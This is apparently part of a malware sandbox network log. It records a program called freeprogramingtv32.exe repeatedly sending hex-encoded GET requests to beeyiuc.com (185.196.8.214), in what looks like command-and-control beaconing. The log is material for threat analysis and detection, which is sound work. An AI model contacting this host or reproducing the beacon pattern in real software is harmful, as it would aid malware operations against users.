Sep 15, 2024 13:56:38.735704899 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:38.846863985 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:39.087316036 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49783	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:39.213638067 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:39.932142019 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49784	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:40.053845882 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:40.779686928 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49785	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:40.897407055 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:41.595905066 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:41.709767103 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:41.949868917 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49786	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:42.073271990 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:42.790877104 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49787	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:42.914905071 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:43.631731033 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49788	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:43.767630100 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:44.464615107 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49789	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:44.585840940 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:45.302161932 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49790	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:45.429924011 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:46.126235962 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:46.240503073 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:46.481950998 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49791	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:46.600306988 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:47.292912006 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49792	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:47.414215088 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:48.112646103 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49793	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:48.242753983 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:48.933758020 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49794	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:49.059937000 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:49.760507107 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49795	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:49.883380890 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:50.578775883 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49796	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:50.693933964 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:51.407538891 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:51.518273115 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:51.758948088 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49797	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:52.030684948 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:52.727859974 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49798	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:52.892306089 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:53.592663050 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49799	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:53.712709904 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:54.409368038 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49800	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:54.539236069 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:55.229031086 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49801	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:55.360553026 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:56.046024084 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49802	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:56.164783955 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:57.144510984 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49803	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:57.280400991 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:57.978821993 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49804	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:58.104554892 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:58.821500063 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49805	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:58.951037884 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
